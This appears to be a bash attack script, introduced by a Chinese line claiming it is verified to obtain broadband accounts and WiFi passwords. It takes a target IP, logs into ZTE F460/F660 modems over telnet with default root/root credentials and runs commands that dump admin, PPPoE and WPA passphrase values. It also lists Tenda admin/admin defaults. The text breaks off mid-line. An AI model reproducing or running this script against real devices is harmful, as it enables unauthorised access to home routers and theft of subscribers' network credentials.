能获取上网帐号(即使你用电脑拨号未设置光猫),wifi密码,已验证
#!/bin/bash
if(( $# != 1 ))then
echo ""usage: $0 ip ""
exit 1
fi
ip=$1
file=get_telnet.txt
time=0.5
f460='F460'
f466='F660'
tenda="as:"
f_inp1='root'
f_inp2='root'
f_cmd1='sendcmd 1 DB p UserInfo|grep telecomadmin'
f_cmd2='sendcmd 1 DB p WLANCfg|grep ChinaNet'
f_cmd3='sendcmd 1 DB p WLANPSK|grep KeyPassphrase'
f_cmd4='sendcmd 1 DB p WANCPPP|grep UserName'
f_cmd5='sendcmd 1 DB p WANCPPP|grep Password'
f_cmd6='ifconfig -a eth0|grep eth0'
t_inp1='admin'
t_inp2='admin&#